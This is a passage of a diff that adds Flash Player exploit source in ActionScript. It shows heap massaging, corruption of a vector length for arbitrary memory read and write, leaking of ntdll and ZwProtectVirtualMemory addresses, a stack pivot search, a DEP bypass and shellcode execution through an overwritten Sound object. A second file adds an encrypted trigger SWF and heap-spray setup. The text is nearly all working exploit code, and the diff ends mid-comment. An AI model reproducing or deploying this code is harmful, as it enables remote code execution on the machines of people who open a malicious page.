if (this.ReadTwoUint(overflowed_vector, 17)[0] == 16) {
|
||||
break _loop_1;
|
||||
}
|
||||
return (false);
|
||||
};
|
||||
} catch(e:Error) {
|
||||
};
|
||||
numbers_vector_index++;
|
||||
};
|
||||
index++;
|
||||
};
|
||||
|
||||
if (overflowed_vector){
|
||||
this.vector_object_offset_4 = this.ReadTwoUint(overflowed_vector, 17)[1];
|
||||
// Overwrite the length of the vector following the overflowed one:
|
||||
// reused hole (vector) ==> overflowed vector ==> corrupted (tweaked) vector
|
||||
overflowed_vector[17] = this.TwoUintToFloat(0xFFFFFFFE, this.vector_object_offset_4);
|
||||
// corrupts the first position of the corrupted (tweaked) vector, so we can find it
|
||||
// in the future easily.
|
||||
fingerprint = (overflowed_vector[18] = this.TwoUintToFloat(0x41414141, 0));
|
||||
index = 0;
|
||||
while (index < 0x4000) {
|
||||
numbers_vector_index = 1;
|
||||
while (numbers_vector_index < 9) {
|
||||
try {
|
||||
// restore the overflowed vector's length
|
||||
if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>)[0] == fingerprint){
|
||||
this.TweakedVector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
|
||||
this.TweakedVector[0x1fffffed] = this.TwoUintToFloat(16, this.vector_object_offset_4);
|
||||
return (true);
|
||||
};
|
||||
} catch(e:Error) {
|
||||
};
|
||||
numbers_vector_index++;
|
||||
};
|
||||
index++;
|
||||
};
|
||||
};
|
||||
return (false);
|
||||
}
|
||||
|
||||
public function Restore():void
|
||||
{
|
||||
try {
|
||||
if (((this.TweakedVector) && (this.vector_object_offset_4))){
|
||||
if (((this.sound_address) && (this.sound_address_vtable))){
|
||||
this.OverwriteAddress(this.sound_address, this.sound_address_vtable, this.sound_address_offset_4);
|
||||
};
|
||||
this.TweakedVector[0x1fffffff] = this.TwoUintToFloat(16, this.vector_object_offset_4);
|
||||
return;
|
||||
};
|
||||
} catch(e:Error) {
|
||||
};
|
||||
do {
|
||||
} while (1);
|
||||
}
|
||||
|
||||
public function GetAddressTweakedVector():Boolean
|
||||
{
|
||||
var index:uint;
|
||||
var index_numbers_vectors:uint;
|
||||
var tweaked_next:Vector.<uint>;
|
||||
var tweaked_next_next:Vector.<uint>;
|
||||
try {
|
||||
index = 0;
|
||||
// Nullify (free) number vectors who aren't the tweaked one
|
||||
while (index < 0x4000) {
|
||||
index_numbers_vectors = 1;
|
||||
while (index_numbers_vectors < 9) {
|
||||
if (this.massaged_memory[index][index_numbers_vectors] != this.TweakedVector){
|
||||
this.massaged_memory[index][index_numbers_vectors] = null;
|
||||
};
|
||||
index_numbers_vectors++;
|
||||
};
|
||||
index++;
|
||||
};
|
||||
index = 1;
|
||||
while (index < 4) {
|
||||
tweaked_next = this.ReadTwoUint(this.TweakedVector, ((17 * index) + (index - 1)));
|
||||
tweaked_next_next = this.ReadTwoUint(this.TweakedVector, ((17 * (index + 1)) + index));
|
||||
// Verify that after the tweaked vector there are two more number vectors
|
||||
// With the tweaked vector it is kinda easy to disclose its own address, becasuse
|
||||
// Flash links vectors, so there are pointers.
|
||||
if ((((((((((tweaked_next[1] == this.vector_object_offset_4)) && ((tweaked_next_next[1] == this.vector_object_offset_4)))) && ((tweaked_next[1] < tweaked_next[0])))) && ((tweaked_next_next[1] < tweaked_next_next[0])))) && (((tweaked_next_next[0] - tweaked_next[0]) == 144)))){
|
||||
this.TweakedVector_address = (tweaked_next[0] - (144 * (index + 1)));
|
||||
return (true);
|
||||
};
|
||||
index++;
|
||||
};
|
||||
} catch(e:Error) {
|
||||
};
|
||||
return (false);
|
||||
}
|
||||
|
||||
public function LeakObjectAddresses():Boolean
|
||||
{
|
||||
var one_signature:Number;
|
||||
var i:uint;
|
||||
var objects_leak:Vector.<uint>;
|
||||
var byte_array_address:uint;
|
||||
try {
|
||||
one_signature = this.TwoUintToFloat(1, 1); // to match nil entries
|
||||
i = 0;
|
||||
while (i < 0x1000) {
|
||||
// Search first objects vector entry from the tweaked one (from the massaged memory...)
|
||||
if ((((this.ReadTwoUint(this.TweakedVector, i)[1] == 32)) && ((this.TweakedVector[(i + 1)] == one_signature)))){
|
||||
//objects_leak[0] => ByteArray object
|
||||
//objects_leak[1] => Sound object
|
||||
objects_leak = this.ReadTwoUint(this.TweakedVector, (i + 2));
|
||||
|
||||
this.sound_address = (objects_leak[0] & 0xFFFFFFF8);
|
||||
this.sound_address_vtable = this.Leak(this.sound_address, true);
|
||||
this.sound_address_offset_4 = this.Leak((this.sound_address + 4), true);
|
||||
|
||||
byte_array_address = (objects_leak[1] & 0xFFFFFFF8);
|
||||
|
||||
if (this.flash_version < 114){
|
||||
this.byte_array_data_address = this.Leak((byte_array_address + 56), true);
|
||||
|
||||
} else {
|
||||
byte_array_address = this.Leak((byte_array_address + 64), true);
|
||||
this.byte_array_data_address = this.Leak((byte_array_address + 8), true);
|
||||
};
|
||||
return (true);
|
||||
};
|
||||
i++;
|
||||
};
|
||||
} catch(e:Error) {
|
||||
};
|
||||
return (false);
|
||||
}
|
||||
|
||||
public function Leak(address:uint, align:Boolean):uint
|
||||
{
|
||||
var eigth_byte_aligned:uint;
|
||||
if (align) {
|
||||
eigth_byte_aligned = ((((address % 8) == 0)) ? 0 : 1);
|
||||
} else {
|
||||
eigth_byte_aligned = 0;
|
||||
}
|
||||
if (eigth_byte_aligned){
|
||||
address = (address - 4);
|
||||
};
|
||||
if (this.last_leaked_address == address){
|
||||
return (this.last_leak[eigth_byte_aligned]);
|
||||
};
|
||||
var _local_3:uint = (((address - this.TweakedVector_address) - 8) / 8);
|
||||
this.last_leaked_address = address;
|
||||
this.last_leak = this.ReadTwoUint(this.TweakedVector, _local_3);
|
||||
return (this.last_leak[eigth_byte_aligned]);
|
||||
}
|
||||
|
||||
public function OverwriteAddress(address:uint, value1:uint, value2:uint):void
|
||||
{
|
||||
var address_trough_tweaked:uint = (((address - this.TweakedVector_address) - 8) / 8);
|
||||
this.TweakedVector[address_trough_tweaked] = this.TwoUintToFloat(value1, value2);
|
||||
}
|
||||
|
||||
public function LeakNtdll():Boolean
|
||||
{
|
||||
var ntdll_address:uint;
|
||||
var KiFastSystemCall_address:uint;
|
||||
var pe_file_header_address:uint;
|
||||
try {
|
||||
//KiFastSystemCallRet
|
||||
KiFastSystemCall_address = this.Leak(0x7FFE0300, true);
|
||||
if (KiFastSystemCall_address == 0){
|
||||
KiFastSystemCall_address = this.Leak(0x7ffe0340, true);
|
||||
};
|
||||
if (KiFastSystemCall_address){
|
||||
KiFastSystemCall_address = (KiFastSystemCall_address & 0xFFFF0000);
|
||||
while (1) {
|
||||
if ((this.Leak(KiFastSystemCall_address, true) & 0xFFFF) == 0x5a4d){ // PE signature
|
||||
ntdll_address = KiFastSystemCall_address;
|
||||
break;
|
||||
};
|
||||
KiFastSystemCall_address = (KiFastSystemCall_address - 65536);
|
||||
};
|
||||
if (ntdll_address){
|
||||
pe_file_header_address = (ntdll_address + this.Leak((ntdll_address + 0x3c), true));
|
||||
if (this.Leak(pe_file_header_address, true) == 0x4550){ // NT Header
|
||||
this.ntdll_base = ntdll_address;
|
||||
this.ntdll_pe_file_header = pe_file_header_address;
|
||||
return (true);
|
||||
};
|
||||
};
|
||||
};
|
||||
} catch(e:Error) {
|
||||
};
|
||||
return (false);
|
||||
}
|
||||
|
||||
public function GetUint(_arg_1:uint, _arg_2:uint, _arg_3:uint):uint
|
||||
{
|
||||
var _local_4:uint = (_arg_1 >>> (8 * _arg_3));
|
||||
var _local_5:uint = (((_arg_3 == 0)) ? 0 : (_arg_2 << ((4 - _arg_3) * 8)));
|
||||
return ((_local_5 | _local_4));
|
||||
}
|
||||
|
||||
public function FindStackPivot():Boolean
|
||||
{
|
||||
var ntdll_size_of_code:uint;
|
||||
var ntdll_base_of_code:uint;
|
||||
var instr:uint;
|
||||
var offset:uint;
|
||||
var next_instr:uint;
|
||||
var instr_offset:uint;
|
||||
try {
|
||||
ntdll_size_of_code = this.Leak((this.ntdll_pe_file_header + 0x1c), true);
|
||||
ntdll_base_of_code = this.Leak((this.ntdll_pe_file_header + 0x2c), true);
|
||||
if (((ntdll_size_of_code) && (ntdll_base_of_code))){
|
||||
ntdll_base_of_code = (ntdll_base_of_code + this.ntdll_base);
|
||||
instr = this.Leak(ntdll_base_of_code, true);
|
||||
offset = 4;
|
||||
while (offset < ntdll_size_of_code) {
|
||||
next_instr = this.Leak((ntdll_base_of_code + offset), true);
|
||||
instr_offset = 0;
|
||||
while (instr_offset < 4) {
|
||||
if ((this.GetUint(instr, next_instr, instr_offset) & 0xFFFF) == 0xc394){ // xcht esp, eax ; ret # 94 c3
|
||||
this.stack_pivot = (((ntdll_base_of_code + offset) - 4) + instr_offset);
|
||||
return (true);
|
||||
};
|
||||
instr_offset++;
|
||||
};
|
||||
instr = next_instr;
|
||||
offset = (offset + 4);
|
||||
};
|
||||
};
|
||||
} catch(e:Error) {
|
||||
};
|
||||
return (false);
|
||||
}
|
||||
|
||||
public function Match(address:uint, signature:Vector.<uint>, offset:uint):Boolean
|
||||
{
|
||||
var content_next:uint;
|
||||
var content:uint = this.Leak(address, true);
|
||||
var i:uint;
|
||||
while (i < signature.length) {
|
||||
content_next = this.Leak((address + ((i + 1) * 4)), true);
|
||||
if (this.GetUint(content, content_next, offset) != signature[i]){
|
||||
return (false);
|
||||
};
|
||||
content = content_next;
|
||||
i++;
|
||||
};
|
||||
return (true);
|
||||
}
|
||||
|
||||
public function LeakVirtualProtect():Boolean
|
||||
{
|
||||
var exports_address:uint;
|
||||
var virtual_protect_signature:Vector.<uint>;
|
||||
var n_functions:uint;
|
||||
var ptrs_entry:uint;
|
||||
var ptrs_name:uint;
|
||||
var ptrs_ordinal:uint;
|
||||
var i:uint;
|
||||
var export_name_entry:uint;
|
||||
var offset_export_name_entry:uint;
|
||||
var _local_10:uint;
|
||||
|
||||
try {
|
||||
exports_address = this.Leak((this.ntdll_pe_file_header + 0x78), true); // Export Data Directory Offset
|
||||
if (exports_address){
|
||||
exports_address = (exports_address + this.ntdll_base);
|
||||
virtual_protect_signature = new <uint>[0x7250775a, 0x6365746f, 0x72695674]; // ZwProtectVir ; It's searching for ZwProtectVirtualMemory
|
||||
n_functions = this.Leak((exports_address + 24), true);
|
||||
ptrs_entry = this.Leak((exports_address + 28), true);
|
||||
ptrs_name = this.Leak((exports_address + 32), true);
|
||||
ptrs_ordinal = this.Leak((exports_address + 36), true);
|
||||
if (((((((n_functions) && (ptrs_entry))) && (ptrs_name))) && (ptrs_ordinal))){
|
||||
ptrs_entry = (ptrs_entry + this.ntdll_base);
|
||||
ptrs_name = (ptrs_name + this.ntdll_base);
|
||||
ptrs_ordinal = (ptrs_ordinal + this.ntdll_base);
|
||||
i = 0;
|
||||
while (i < n_functions) {
|
||||
export_name_entry = this.Leak((ptrs_name + (i * 4)), true);
|
||||
if (export_name_entry){
|
||||
export_name_entry = (export_name_entry + this.ntdll_base);
|
||||
offset_export_name_entry = (export_name_entry % 4);
|
||||
export_name_entry = (export_name_entry - offset_export_name_entry);
|
||||
if (this.Match(export_name_entry, virtual_protect_signature, offset_export_name_entry)){
|
||||
_local_10 = this.Leak((ptrs_ordinal + ((i / 2) * 4)), false);
|
||||
if ((i % 2)){
|
||||
_local_10 = (_local_10 >>> 16);
|
||||
};
|
||||
|
||||
this.virtual_alloc_address = (this.ntdll_base + this.Leak((ptrs_entry + ((_local_10 & 0xFFFF) * 4)), true));
|
||||
return (true);
|
||||
};
|
||||
};
|
||||
i++;
|
||||
};
|
||||
};
|
||||
};
|
||||
} catch(e:Error) {
|
||||
};
|
||||
return (false);
|
||||
}
|
||||
|
||||
public function ExploitIt(shellcode:String):void
|
||||
{
|
||||
var not_used:* = this.PrepareMemoryAndOverflow();
|
||||
if (!this.SearchOverflowedTweakAndRestore()){
|
||||
return;
|
||||
};
|
||||
if (!this.GetAddressTweakedVector()){
|
||||
return;
|
||||
};
|
||||
if (!this.LeakNtdll()){
|
||||
return;
|
||||
};
|
||||
if (!this.FindStackPivot()){
|
||||
return;
|
||||
};
|
||||
if (!this.LeakVirtualProtect()){
|
||||
return;
|
||||
};
|
||||
var i:uint;
|
||||
while (i < 0x19000) {
|
||||
this.byte_array.writeUnsignedInt(0x41424344);
|
||||
i++;
|
||||
};
|
||||
this.byte_array.endian = Endian.LITTLE_ENDIAN;
|
||||
var init_pos:uint = this.byte_array.position;
|
||||
|
||||
// Write shellcode into the byte array
|
||||
this.byte_array.position = (init_pos + 136);
|
||||
this.write_into_byte_array(this.byte_array, shellcode);
|
||||
|
||||
// Write stack pivot into the byte array
|
||||
this.byte_array.position = (init_pos + 112);
|
||||
this.byte_array.writeUnsignedInt(this.stack_pivot);
|
||||
|
||||
if (!this.LeakObjectAddresses()){
|
||||
return;
|
||||
};
|
||||
|
||||
this.byte_array_data_address = (this.byte_array_data_address + init_pos);
|
||||
this.byte_array.position = init_pos;
|
||||
|
||||
// build ZwProtectVirtualMemory "return to ntdll attack" to bypass DEP
|
||||
this.byte_array.writeUnsignedInt(this.virtual_alloc_address); // ZwProtectVirtualMemory
|
||||
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 136)); // ret (shellcode address)
|
||||
this.byte_array.writeUnsignedInt(0xFFFFFFFF); // ProcessHandle
|
||||
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 28)); // BaseAddress
|
||||
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 32)); // NumberOfBytesToProtect
|
||||
this.byte_array.writeUnsignedInt(64); // NewAccessProtection
|
||||
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 36)); // OldAccessProtection
|
||||
this.byte_array.writeUnsignedInt(this.byte_array_data_address); // this.byte_array_data_address + 28
|
||||
this.byte_array.writeUnsignedInt(0x1000); // this.byte_array_data_address + 32
|
||||
this.byte_array.writeUnsignedInt(0x41424344); // this.byte_array_data_address + 36
|
||||
|
||||
// Overwrite Sound...
|
||||
this.OverwriteAddress(this.sound_address, this.byte_array_data_address, this.sound_address_offset_4);
|
||||
|
||||
// Make it happen!
|
||||
new Number(this.sound_object.toString());
|
||||
}
|
||||
|
||||
private function write_into_byte_array(byte_array:ByteArray, string:String):void
|
||||
{
|
||||
var _local_4:String;
|
||||
var _local_5:int;
|
||||
var _local_3:int;
|
||||
while (_local_3 < string.length) {
|
||||
_local_4 = string.substr(_local_3, 2);
|
||||
_local_5 = parseInt(_local_4, 16);
|
||||
byte_array.writeByte(_local_5);
|
||||
_local_3 = (_local_3 + 2);
|
||||
};
|
||||
}
|
||||
|
||||
private function TwoUintToFloat(_arg_1:uint, _arg_2:uint):Number
|
||||
{
|
||||
var result_float:ByteArray = new ByteArray();
|
||||
result_float.endian = Endian.LITTLE_ENDIAN;
|
||||
result_float.writeInt(_arg_1);
|
||||
result_float.writeInt(_arg_2);
|
||||
result_float.position = 0;
|
||||
return (result_float.readDouble());
|
||||
}
|
||||
|
||||
// vector is a Float vectors
|
||||
// index is the position to read from the vector
|
||||
// read the vector[index] float i retorna els dos enters
|
||||
// ocupant les dues posiciones
|
||||
private function ReadTwoUint(vector:Vector.<Number>, index:uint):Vector.<uint>
|
||||
{
|
||||
var byte_array:ByteArray = new ByteArray();
|
||||
byte_array.endian = Endian.BIG_ENDIAN;
|
||||
byte_array.writeDouble(vector[index]);
|
||||
var vector_uint:Vector.<uint> = new Vector.<uint>(2);
|
||||
byte_array.position = 0;
|
||||
vector_uint[1] = byte_array.readUnsignedInt();
|
||||
vector_uint[0] = byte_array.readUnsignedInt();
|
||||
return (vector_uint);
|
||||
}
|
||||
|
||||
private function CreateVectorThirtyTwoObjects():Vector.<Object>
|
||||
{
|
||||
var vector:* = new Vector.<Object>(32);
|
||||
vector[0] = null;
|
||||
vector[1] = null;
|
||||
vector[2] = this.sound_object;
|
||||
vector[3] = this.byte_array;
|
||||
return (vector);
|
||||
}
|
||||
|
||||
private function CreateVectorSixteenNumbers():Vector.<Number>
|
||||
{
|
||||
var vector:* = new Vector.<Number>(16);
|
||||
vector[0] = 0;
|
||||
vector[15] = 1;
|
||||
return (vector);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,897 @@
|
|||
//Compile: mxmlc.exe Exploit.as -o Exploit.swf
|
||||
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite;
|
||||
import flash.utils.ByteArray;
|
||||
import flash.net.LocalConnection;
|
||||
import flash.utils.Endian;
|
||||
import flash.net.FileReference;
|
||||
import __AS3__.vec.Vector;
|
||||
import flash.system.Capabilities;
|
||||
import flash.display.Loader;
|
||||
import flash.utils.setTimeout;
|
||||
|
||||
import flash.display.LoaderInfo;
|
||||
|
||||
public class Exploit extends Sprite
|
||||
{
|
||||
var number_massage_vectors:uint = 0x18000;
|
||||
var len_massage_vector:uint = 0x36;
|
||||
var maxElementsPerPage:uint = 0xe00012;
|
||||
var massage_array:Array;
|
||||
var tweaked_vector;
|
||||
var tweaked_vector_address;
|
||||
var done:Boolean = false;
|
||||
var receiver:LocalConnection;
|
||||
// Embedded trigger, ActionScript source available at the end of this file as code comment.
|
||||
var trigger_swf:String = "78da75565f4c9357144ff6b2cca7252ed91e966d2e2c35e0a605bc681d9f11a94f4b85745b05b2f0325c78d3651ad0173666d8941998a2d9f857a0aed8de425b4a59a1a520855908f4cf6de1d2967e03d9a2885127713a37d8b9f7fba0b0cc872fdc9eef777ee79cdf39dfb9343c2b0bf75c43d48cb36a08de5f41f07bb3e4b682128c1a435abf62b93b3f49f0a027fc15ea27e3c52ebd0fb9fbc5230e7b14fdd84f4b5c1db775d88e0b6c5e8abcce91125a3d52ea34f2df5a931e7f6ed3278a5d567f89c743cfba3a964a1d467f3eb5b5a0c1fea1bc25122872b8936a6a1f3a62b58bc864a7a57d7a5ce8edc5451686bb9cd4b9fbfdc7f0e5a1a2ee86d162ec4ca281c171d4e81e2a32b54ce699fa2327781c327ff4823159ea74b420b3939e6a68c067dbaa68becd33f122d5fbf35a2f2fa1ceb691bc3e63f4888724b58039eb218f0a1dee299d83dc2b7342dc2e27fea09d4ce69bc8bd7c13d466230b877b6d90437b5c6b3246510f19d675d68fe6f5da132c87f25e3bf09b71890be2eac944e160ad5c8b63a2a046aea7d7398c1cce1b857800170f905f8b06ec43a7fa3c37b403c6d1222799542f7947746ee74d84ddf7caee1251ebecc3fa0962406204231ae9449498b3a10fc26c40954de35d159a1016e25575fa3562c8146718a67b1da39c857e892166b3fcc7ef3af74b56b1334ed744b012fa898261ab3e460cca2bea2e148caf6dd30c612114c1e06746c0a58ca530d91c1304cc0a16c2525e7ba98c11c32c6617b3e5d0ad7e59dc2fbac6ce077d6a3312a3808d5bd2593e6233cbc750b6a8ee43416af6bf02be7497168904fb6904e68e983381ef8b45750f0a8a12f7ec7a3cc643d8b3099334fb19e6278659fe3f4c2d0ace5d47c104d7660f259da7d97b7191e5df0838c3011fcb57e4b9e7fad42e24ae6ee1c94d696ae69ade845e10625024898ca9572925fd0d399c2bb2c0b8d22edc673e1eae3dab2138c463bc7ddec7eced29fb18b7bf25d937eb34c8e3059a55efd0b843f9183410ef1864dd0dbb792cff6aa566060b237157fa28fbbdd1bb4ee89de15d5f93ea008d5bf75039d7e0d472868662616ca3be3a86dfe9535f871ed422da38688e9126c4e2fa78cdf674cd08e6feeee80b521fe23da7af32fe49f0abb675c7c8ab7ea845188bdc7c0edfb9ad7c707ed2a4ca84b330165065d108d444ee661c0ae11505e3fdc390c96b7bb89021d5e67d5e6dc0f19d90e0bc172b4699fd8141c17dff045f88f32ca07a5ffea6d013822b65db3e1ae9009ba9fce1b3e5375ca70e71bb3fc0f8be81f7b7f40962d81e9c9366e2ca14b39f17a6791c3dc46943c11593ac1f16462fd9d83cecdc9887fba93a57b9cfd71575c3ca6c3a8f19dfcb3cbf49ebe67385661a2b15e01bd9d0e56fa647b5426d84f71bb1784d639cf35bceffa079314d1dc2a729e359b1cadac3f9b17ce673743e5df25bd0cf810e945854ad5be3d42b980fd40b75e706a995eb31cdf5d00b11d003b8f6f998be49f85ef84c9d4bcdd4d3e56d0cbf1650e5d2788db0c2f793e14d9ec7eaea0ea9871ee8a143de1b96f5bd2148bd815e32ecc4ea0ebaeb1ae3cde1dccbedbbf9398ccb6baa273feab14f68cdffa476be62ae19701654d08a0fd2da89e23edb64316d8996e1b6d163de795cd2661d2ea0ec91ee844d7781a8c575f327a8c39fd7d8b2847ea85ad3e2ea645167c390ceabe73d423c9ff042dab8a60b6d27f20e851a673f69473484f70e13aca3640afd4554aad4aee8cc8e7f39a04f92ce9c6048de05c18533a5619c73959d09ef490edf8f33d652d0257316f634bccf0e80b689b061cfc7090c7bb8eb751a1e3ecaeebc6922ef04d0303e63a9bc2ae19487a759bc36fe5d49bba9bbe2f726952069db25506eb3f0fd31d7ccf613ef89f09b0ffb432cdf10cff9a5e971f80bf169eda3e32eeb2f3aaf537cadc1b40677ec8dc23b44bbef0ef42b46d2ced0182ef77a473e747937ddb183517667b347d29c24f2fb8c23796d1d7e761f9f6c6dc0851ee3dd932d70d75e70d2e32677e284c33ea1a69bb51866fbe1335e879cf3cfd304f209f6226ac7f0bfc745a411f1c6ac2542dd9f06d426a641b6bc0ff65e69cd8019b9b5b96fec9ce9eb87f99db140fdf03e3400b30d7d89bebd9fcd4cec29cee935c1fd4ddad7358459efce9c6dba25e12239592c5e94a47672bcf9fb4a4d5cdad9b1f5796896ef5ad8e571f62dc4eb77d04b90ebbffc1db134";
|
||||
var key:uint = 3.627461843E9;
|
||||
var shellcodeObj:Array;
|
||||
|
||||
public function Exploit() {
|
||||
var trigger_decrypted:uint = 0;
|
||||
super();
|
||||
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
|
||||
var i:* = 0;
|
||||
this.massage_array = new Array();
|
||||
|
||||
// Memory massage
|
||||
i = 0;
|
||||
while(i < this.number_massage_vectors)
|
||||
{
|
||||
this.massage_array[i] = new Vector.<int>(1);
|
||||
i++;
|
||||
}
|
||||
i = 0;
|
||||
while(i < this.number_massage_vectors)
|
||||
{
|
||||
this.massage_array[i] = new Vector.<int>(this.len_massage_vector);
|
||||
this.massage_array[i][0] = 0x41414141;
|
||||
i++;
|
||||
}
|
||||
var j:* = 0;
|
||||
i = 0;
|
||||
while(i < this.number_massage_vectors)
|
||||
{
|
||||
j = 0;
|
||||
while(j < 32)
|
||||
{
|
||||
this.massage_array[i][j] = 0x41414141;
|
||||
j++;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
var k:uint = (4096 - 32) / (this.len_massage_vector * 4 + 8);
|
||||
i = 65536 + 6;
|
||||
while(i < this.number_massage_vectors)
|
||||
{
|
||||
this.massage_array[i] = new Vector.<int>(this.len_massage_vector * 2);
|
||||
this.massage_array[i][0] = 0x42424242;
|
||||
i = i + k;
|
||||
}
|
||||
|
||||
// Decompress/Decrypt trigger
|
||||
this.receiver = new LocalConnection();
|
||||
this.receiver.connect("toAS3");
|
||||
this.receiver.client = this;
|
||||
var trigger_byte_array:ByteArray = this.createByteArray(this.trigger_swf);
|
||||
trigger_byte_array.endian = Endian.LITTLE_ENDIAN;
|
||||
trigger_byte_array.uncompress();
|
||||
trigger_byte_array.position = 0;
|
||||
i = 0;
|
||||
while(i < trigger_byte_array.length / 4)
|
||||
{
|
||||
trigger_decrypted = trigger_byte_array.readUnsignedInt() ^ this.key;
|
||||
trigger_byte_array.position = trigger_byte_array.position - 4;
|
||||
trigger_byte_array.writeUnsignedInt(trigger_decrypted);
|
||||
i++;
|
||||
}
|
||||
trigger_byte_array.position = 0;
|
||||
|
||||
// Trigger corruption
|
||||
var trigger_loader:Loader = new Loader();
|
||||
trigger_loader.loadBytes(trigger_byte_array);
|
||||
|
||||
// Handler to check for corruption
|
||||
setTimeout(this.as2loaded,4000,[]);
|
||||
}
|
||||
|
||||
function createByteArray(hex_string:String) : ByteArray {
|
||||
var byte:String = null;
|
||||
var byte_array:ByteArray = new ByteArray();
|
||||
var hex_string_length:uint = hex_string.length;
|
||||
var i:uint = 0;
|
||||
while(i < hex_string_length)
|
||||
{
|
||||
byte = hex_string.charAt(i) + hex_string.charAt(i + 1);
|
||||
byte_array.writeByte(parseInt(byte,16));
|
||||
i = i + 2;
|
||||
}
|
||||
return byte_array;
|
||||
}
|
||||
|
||||
// When param1.length > 0 it's called from the corruption trigger
|
||||
// Else it's called because of the timeout trigger
|
||||
public function as2loaded(param1:Array) : * {
|
||||
var back_offset:* = undefined; // backward offset from the tweaked vector
|
||||
var j:* = undefined;
|
||||
var _loc15_:uint = 0;
|
||||
var ninbets:Array = null;
|
||||
var array_with_code:Array = null;
|
||||
var address_code:uint = 0;
|
||||
var _loc19_:uint = 0;
|
||||
if(this.done == true)
|
||||
{
|
||||
return;
|
||||
}
|
||||
if(param1.length > 0)
|
||||
{
|
||||
this.done = true;
|
||||
}
|
||||
var corrupted_index:uint = 0;
|
||||
var i:* = 0;
|
||||
i = 0x10000 + 6;
|
||||
|
||||
// Search corrupted vector
|
||||
while(i < this.number_massage_vectors)
|
||||
{
|
||||
if(this.massage_array[i].length != 2 * this.len_massage_vector)
|
||||
{
|
||||
if(this.massage_array[i].length != this.len_massage_vector)
|
||||
{
|
||||
corrupted_index = i;
|
||||
this.massage_array[i][0] = 0x41424344;
|
||||
break;
|
||||
}
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
// throw Error if any vector has been corrupted
|
||||
if(i == this.number_massage_vectors)
|
||||
{
|
||||
throw new Error("not found");
|
||||
}
|
||||
else // start the magic...
|
||||
{
|
||||
// Tweak the length for the vector next to the corrupted one
|
||||
this.massage_array[corrupted_index][this.len_massage_vector] = 0x40000001;
|
||||
// Save the reference to the tweaked vector, it'll work with this one to leak and corrupt arbitrary memory
|
||||
this.tweaked_vector = this.massage_array[corrupted_index + 1];
|
||||
var offset_length = 0;
|
||||
// Ensure tweaked vector length corruption, I guess the offset to the vector length
|
||||
// changes between flash versions
|
||||
if(this.tweaked_vector.length != 0x40000001)
|
||||
{
|
||||
this.massage_array[corrupted_index][this.len_massage_vector + 10] = 0x40000001;
|
||||
offset_length = 10;
|
||||
}
|
||||
if(param1.length > 0) // From the corruption trigger
|
||||
{
|
||||
// Fix the massage array of vectors, restores the corrupted vector and
|
||||
// marks it as the last one.
|
||||
back_offset = (4 * (this.len_massage_vector + 2) - 100) / 4 + this.len_massage_vector + 2; // 87
|
||||
j = 0;
|
||||
/*
|
||||
tweaked_vector->prior->prior, some data is overwritten, is used for search purposes
|
||||
tweaked_vector[3fffffa7] = 0
|
||||
tweaked_vector[3fffffa8] = 0
|
||||
tweaked_vector[3fffffa9] = 1c0340
|
||||
tweaked_vector[3fffffaa] = ffffffff
|
||||
tweaked_vector[3fffffab] = 0
|
||||
tweaked_vector[3fffffac] = 0
|
||||
tweaked_vector[3fffffad] = 0
|
||||
tweaked_vector[3fffffae] = 0
|
||||
tweaked_vector[3fffffaf] = 0
|
||||
tweaked_vector[3fffffb0] = 0
|
||||
tweaked_vector[3fffffb1] = 0
|
||||
tweaked_vector[3fffffb2] = 100
|
||||
tweaked_vector[3fffffb3] = 0
|
||||
tweaked_vector[3fffffb4] = 0
|
||||
tweaked_vector[3fffffb5] = 0
|
||||
tweaked_vector[3fffffb6] = 0
|
||||
tweaked_vector[3fffffb7] = 100dddce
|
||||
tweaked_vector[3fffffb8] = 0
|
||||
tweaked_vector[3fffffb9] = 1df6000
|
||||
tweaked_vector[3fffffba] = 1dc2380
|
||||
tweaked_vector[3fffffbb] = 0
|
||||
tweaked_vector[3fffffbc] = 10000
|
||||
tweaked_vector[3fffffbd] = 70
|
||||
tweaked_vector[3fffffbe] = 0
|
||||
tweaked_vector[3fffffbf] = 4
|
||||
tweaked_vector[3fffffc0] = 0
|
||||
tweaked_vector[3fffffc1] = 1de7090
|
||||
tweaked_vector[3fffffc2] = 4
|
||||
tweaked_vector[3fffffc3] = 0
|
||||
tweaked_vector[3fffffc4] = 0
|
||||
tweaked_vector[3fffffc5] = 0
|
||||
// tweaked_vector->prior
|
||||
tweaked_vector[3fffffc6] = 36 // Length
|
||||
tweaked_vector[3fffffc7] = 1dea000
|
||||
tweaked_vector[3fffffc8] = 41414141
|
||||
tweaked_vector[3fffffc9] = 41414141
|
||||
tweaked_vector[3fffffca] = 41414141
|
||||
tweaked_vector[3fffffcb] = 41414141
|
||||
tweaked_vector[3fffffcc] = 41414141
|
||||
tweaked_vector[3fffffcd] = 41414141
|
||||
tweaked_vector[3fffffce] = 41414141
|
||||
tweaked_vector[3fffffcf] = 41414141
|
||||
tweaked_vector[3fffffd0] = 41414141
|
||||
tweaked_vector[3fffffd1] = 41414141
|
||||
tweaked_vector[3fffffd2] = 41414141
|
||||
tweaked_vector[3fffffd3] = 41414141
|
||||
tweaked_vector[3fffffd4] = 41414141
|
||||
tweaked_vector[3fffffd5] = 41414141
|
||||
tweaked_vector[3fffffd6] = 41414141
|
||||
tweaked_vector[3fffffd7] = 41414141
|
||||
tweaked_vector[3fffffd8] = 41414141
|
||||
tweaked_vector[3fffffd9] = 41414141
|
||||
tweaked_vector[3fffffda] = 41414141
|
||||
tweaked_vector[3fffffdb] = 41414141
|
||||
tweaked_vector[3fffffdc] = 41414141
|
||||
tweaked_vector[3fffffdd] = 41414141
|
||||
tweaked_vector[3fffffde] = 41414141
|
||||
tweaked_vector[3fffffdf] = 41414141
|
||||
tweaked_vector[3fffffe0] = 41414141
|
||||
tweaked_vector[3fffffe1] = 41414141
|
||||
tweaked_vector[3fffffe2] = 41414141
|
||||
tweaked_vector[3fffffe3] = 41414141
|
||||
tweaked_vector[3fffffe4] = 41414141
|
||||
tweaked_vector[3fffffe5] = 41414141
|
||||
tweaked_vector[3fffffe6] = 41414141
|
||||
